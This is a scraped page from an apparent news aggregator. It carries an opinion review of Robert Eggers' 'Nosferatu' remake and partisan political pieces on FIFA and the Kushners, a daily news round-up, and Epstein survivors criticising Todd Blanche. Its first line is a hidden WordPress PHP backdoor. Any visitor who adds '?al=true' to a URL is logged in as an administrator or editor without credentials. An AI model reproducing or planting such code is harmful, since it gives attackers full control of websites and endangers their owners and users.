// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); In an age of vapid remakes, ‘Nosferatu’ does something unusual – Blue Light News
Connect with us

The Dictatorship

In an age of vapid remakes, ‘Nosferatu’ does something unusual

Published

on

In an age of vapid remakes, ‘Nosferatu’ does something unusual

American cinema is mired in intellectual property hell. The percentage of movies that are franchise entriesremakes, sequels or spin-offs has surged in recent decades. We are trudging through a muck of constantly recycled nostalgia and sameness, with film studios hoping to cash in on familiarity rather than invention or risk-taking. When I heard that Robert Eggers, one of the most ingenious directors living today, was remaking “Nosferatu,” the classic 1922 German vampire film, I immediately steeled myself for another exciting artist to be felled by the curse of mindless repetition.

Fortunately, Eggers has defied my expectations. His new version of “Nosferatu” is an admiring homage to the earlier film, with many references to its iconic visual language and dialogue. (F. W. Murnau’s original “Nosferatu” is a silent film, in which dialogue is conveyed through intertitles.) At the same time, Eggers’ film is a radical departure because of a shift in perspective from its male protagonist to his wife, overlaying this new point of view atop the foundation of the first one. The result is less a remake than a reinterpretation that changes the story from one about fear of the other to fear of what lies within us. Not everyone will love this film, but Eggers has done us a service by showing us how an artist can remain faithful to their source material while still subverting it to cultivate new themes.

In Eggers’ telling, Ellen is not the “innocent maiden” of the original, but a more ambivalent figure who is ensnared in a Gothic love triangle.

A short synopsis of the original “Nosferatu” — an unauthorized and loose adaptation of Bram Stoker’s novel “Dracula” — is important to identify the specific twist that Eggers pulls off. (If somehow you have managed to avoid any encounter with this endlessly adapted classic story, a warning that this article discusses major plotlines.) In Murnau’s original, the protagonist is Thomas Hutter, a newlywed German real estate agent who journeys to Transylvania to finalize a contract for a mysterious client, Count Orlok, to purchase a property in Thomas’ hometown of Wisborg. Orlok is revealed as a vampire and becomes obsessed when he stumbles upon Hutter’s miniature portrait of his wife, commenting that she has “a lovely neck.” Shortly thereafter, Orlok attacks Thomas and then sets out to Wisborg to obtain Thomas’ wife. In his unstoppable advance, Orlok feasts on locals and unleashes the plague on Wisborn. In the end it is Thomas’ wife, not Thomas, who is able to stop Orlok after she sacrifices herself to him by distracting him and preventing him from getting back to his coffin before daybreak, which causes him to disintegrate.

Max Schreck starring as Nosferatu
Max Schreck in a scene from the 1922 silent film “Nosferatu.”ullstein image via Getty Images file

What’s clever about Eggers’ version is that by pulling out threads in the original, it offers its own radical reinterpretation. On a narrative level, one of the more striking features of Murnau’s original is that the unexpected hero of the story is Thomas’ wife, Ellen, even though she seems an ancillary character until the climactic scene. Moreover, the way she becomes a hero is important. She is able to slay Orlok only through an act of deception toward her beloved Thomas: The night she sacrifices herself, she feigns illness in order to send him away from the house, so that Nosferatu can take her alone. While Orlok is ghastly, there is a sexual subtext to Ellen’s act of lying to her spouse to await her final fate alone in their bedroom.

Eggers turns the tale of Nosferatu on its head by centering the perspective of Ellen, played by Lily-Rose Depp, and creating a backstory and inner life that elaborates on the context for her final act of guile. In Eggers’ telling, Ellen is not the “innocent maiden” of the original, but a more ambivalent figure who is ensnared in a Gothic love triangle. In the opening sequence, a young Ellen establishes some kind of existential psychic bond with Orlok (played by Bill Skarsgard), laying the groundwork for his eventual quest to Wisborg. Whereas in the original, Ellen’s episodes of sleepwalking suggest her connection to Thomas (Nicholas Hoult in the new film), here her violent, somnambulistic visions are the medium for her connection to Orlok. Ellen has evolved from object to subject, and while her love for Thomas appears sincere, her inner life is not defined by simple devotion but by a conflict between love and something more animalistic. This all makes her final act more complex than straightforward altruism.

Eggers’ telling of “Nosferatu” also dramatically reshapes the themes of the movie. The original “Nosferatu” hinted at German anxiety about outside intrusion and social change, and functions as antisemitic allegory in the aftermath of World War I. Eggers’ version flips the story inward to focus on an individual who is reckoning with her demons and her darkest impulses. Orlok represents — as the movie explicitly names him in some of its clunkier moments — Ellen’s “shame,” “melancholy” and the “appetite” for darkness and sin within her.

I suspect this movie could be polarizing. Eggers strived for historical authenticity in his depiction of Orlok as a vampire out of Romanian folklore, but that effort may not spook or engage some contemporary audiences. (There is also some visual and aural tension between Eggers’ desire for a corpse-like Orlok and the story of her seduction.) And I can imagine some “Nosferatu” heads being miffed by the liberties that Eggers’ sweeping reinterpretation takes. But in an age of regurgitated dreck and infantilizing nostalgia plays, Eggers has shown appreciation for a classic work while making something provocative and new. It’s a statement that honors tradition and the act of artistry itself.

Zeeshan Aleem

Zeeshan Aleem is a writer and editor for BLN Daily. Previously, he worked at Vox, HuffPost and Blue Light News, and he has also been published in, among other places, The New York Times, The Atlantic, The Nation, and The Intercept. You can sign up for his free politics newsletter here.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

FIFA faces global anger over plan to give Kushner brother a financial stake

Published

on

FIFA faces global anger over plan to give Kushner brother a financial stake

International rage over FIFA’s close ties to President Donald Trump has reached a fever pitch after soccer’s governing body announced a plan to sell a significant stake to an investor group led by Joshua Kushner, the brother of Trump’s son-in-law.

The president and his family have all but turned the White House into their personal piggy bank. And FIFA — which has its own sordid history of corruption — seems to have made itself a party to Trump’s self-enrichment under Gianni Infantino’s leadership, such as by paying for space inside Trump Tower in New York. (The organization has defended the office rental as a World Cup outpost.)

Soccer is seen by many as a unifying game. But Trump’s incorporation of FIFA into his political dynasty is threatening that idea.

As The Athletic reported:

FIFA has announced plans to sell a large minority stake in a new company that will run its main events, including the World Cup and Club World Cup, as part of a plan to triple the amount of development money it dishes out to its 211 member associations.

Under the proposals — which are subject to approval by a majority of those national associations and FIFA’s 37-member council — a new entity called FIFA Forward Enterprises (FFE) will take over all commercial operations, while FIFA remains the game’s global governing body and retains a majority stake in FFE.

A press release from FIFA confirmed the plans and said Thrive Eternal, which was launched by Joshua Kushner, is expected to lead the investment group that would control FIFA Forward Enterprise. FIFA did not clarify why Thrive Eternal was selected, and Kushner was already dabbling in sports.

But Trump basically has already given son-in-law Jared Kushner carte blanche to dictate U.S. foreign policy in the Middle East while simultaneously hatching business plans in the region. (Jared Kushner has denied any conflicts of interest.)

Joshua Kushner reportedly has been a major donor to Democrats. But, predictably, the idea of another Kushner becoming financially entwined with the World Cup — the world’s most popular sporting event — and basically being dropped into a position of global significance isn’t going over well. Several other soccer governing bodies have expressed concerns, including Europe’s UEFA.

“This crosses a line that football’s governing institutions should never cross,” UEFA said in a statement about The Athletic’s report, adding: “The soul and governance of football are not assets to trade — especially with zero transparency as to who gains financially. None of us are the owners of football. It is not FIFA’s to sell.”

Democrats on the House Judiciary Committee also rebuked the plan, writing on X: “Apparently the fake Peace Prize and giant lease with Trump Tower weren’t enough — now Infantino performs a kickback hat trick by pursuing a multibillion-dollar deal with Jared Kushner’s brother to sell ownership stakes in the World Cup to private investors.”

FIFA, Donald Trump’s favorite corrupt racketeering enterprise in world sports, is now going directly into business with the Trump family!

Apparently the fake Peace Prize and giant lease with Trump Tower weren’t enough—now Infantino performs a kickback hat trick by pursuing a… https://t.co/knSZibuMea

— House Judiciary Dems (@HouseJudiciary) July 28, 2026

Rep. Jamie Raskin, D-Md., has already launched an investigation into the FIFA leader’s relationship with the Trump administration, while dozens of European lawmakers — citing concerns about “potential breaches of political neutrality” — have called for the FIFA Ethics Committee to investigate Infantino. This new proposal seems unlikely to assuage those concerns.

But what it does seem likely to do is fuel global anger toward the U.S. — the kind that has been growing since Trump retook office.

And when you consider that, it’s truly remarkable how the same MAGA movement whose members whined for years about politics mixing with sports is now in lockstep with a president who seems dead-set on casting his shadow over every sports event he can.

This post on X basically sums up the foul stench around FIFA’s latest proposal.

Sepp Blatter was Infantino’s predecessor as FIFA president and oversaw the organization amid some of its many scandals. When heof all people, is warning about how Trump and Infantino’s relationship is “deeply damaging” soccer, it’s a sign of how far FIFA has descended into the gutter.

Ja’han Jones is an MS NOW opinion blogger. He previously wrote The ReidOut Blog.

Read More

Continue Reading

The Dictatorship

Wednesday’s Mini-Report, 7.29.26

Published

on

Wednesday’s Mini-Report, 7.29.26

Today’s edition of quick hits.

* In the Middle East: “Jordan’s air defenses intercepted five missiles launched from Iran early Wednesday, the country’s military said, hours after the U.S. military said it had knocked down an Iranian missile barrage launched against American forces in the Middle East, shattering a brief pause in fighting.”

* At the Fed: “The Federal Reserve on Wednesday voted to hold its key interest rate steady but not without opposition from three officials who have expressed concern over inflation and wanted to hike. Despite increasing support among some officials for a rate increase, the Federal Open Market Committee voted 9-3 to leave the federal funds rate in a range between 3.5% and 3.75%.”

* All eyes on Cornyn: “Sen. John Cornyn, R-Texas, has yet to decide whether he will vote to confirm acting Attorney General Todd Blanche to permanently head the Department of Justice after saying Wednesday he was ‘not prepared’ to lend his support to President Donald Trump’s nominee.”

* This request is intended to repay the National Park Service, whose funds Team Trump unjustly raided: “The Trump administration is asking Congress for an additional $10 million to cover costs related to Freedom 250 events recently held on the National Mall, including a prayer event, a fair and a fireworks show.”

* Will the Carroll case ever end? “The Supreme Court already denied the first of Donald Trump’s two petitions against E. Jean Carroll. But the second petition, filed Tuesday, stands a better chance of gaining the high court’s interest because it raises presidential immunity and is backed by the Justice Department.”

* I’m eager to hear why a private citizen can’t delete the contents of his own phone: “It sounds like something James Bond would use: a gadget that self-destructs if it falls into the wrong hands. But it’s actually an open-source operating system that can be downloaded onto Android phones. Federal prosecutors in Atlanta are bringing an obstruction charge against a U.S. citizen who gave customs officers what is known as a duress passcode, which activated software that erased the contents of his phone.”

* My advice: Read real books written entirely by real people: “A few years into the A.I. era, there is sobering evidence that a significant and growing portion of the novels being sold are written with or by chatbots, and that readers are buying them. A new study conducted by computer scientists using A.I. detection software to analyze thousands of self-published novels on Amazon, found that a substantial number of those novels contained chatbot-generated prose.”

See you tomorrow.

Steve Benen is a producer for “The Rachel Maddow Show,” the editor of MaddowBlog and an MS NOW political contributor. He’s also the bestselling author of “Ministry of Truth: Democracy, Reality, and the Republicans’ War on the Recent Past.”

Read More

Continue Reading

The Dictatorship

Epstein survivors say meeting with Todd Blanche was ‘very condescending’

Published

on

Epstein survivors say meeting with Todd Blanche was ‘very condescending’

Survivors of Jeffrey Epstein’s abuse said Wednesday that acting Attorney General Todd Blanche was “very condescending” toward them in their meeting with him this month and told them to “get to the point.”

Ahead of the Senate Judiciary Committee vote on whether to move President Donald Trump’s nomination as attorney general to the full Senate for a vote, the survivors were on Capitol Hill urging Republican lawmakers to deny Blanche the position.

Survivor Dani Bensky told reporters that the meeting a couple of weeks ago with Blanche, who had declined to meet with them for months, was “very condescending” and that he would not answer their questions on why investigative leads and referrals in the case have not been followed.

“He actually said the words ‘Get to the point’ to us,” Benskey said. “We’re survivors who have been waiting to meet with him for nine months, eight months.”

Another survivor said Blanche told them he had not read the files.

Bensky, who was standing with other survivors outside the office of Sen. John Cornyn, R-Texas, voiced appreciation for the senator for his support of survivors. The said they had not met with Cornyn Wednesday but had spoken to Judiciary Committee staff members, and that the meeting was “productive” and the staff members “were very pleasant and very open.”

Cornyn said Wednesday that he is “not prepared to vote yes” on Blanche’s nomination. He also called off a meeting with Blanche, saying the nominee had failed to provide proof that President Donald Trump’s “anti-weaponization” fund is officially dead.

Survivors have been campaigning for GOP holdouts to vote against Blanche’s confirmation. Bensky said her group had run into Sen. Thom Tillis, R-N.C., in the elevator earlier and that he said he would like to meet with them. Tillis has also suggested that he might oppose Blanche’s confirmation.

Bensky said it would have “a massive chilling effect to all survivors across the U.S.” if Blanche’s nomination is moved out of committee and to the full Senate.

Asked for the survivors’ final message to the lawmakers, Bensky said: “It’s not political. Just do the right thing. Just be on the right side of history.”

Erum Salam is a breaking news reporter for MS NOW, with a focus on how global events and foreign policy shape U.S. politics. She previously was a breaking news reporter for The Guardian.

Read More

Continue Reading

Trending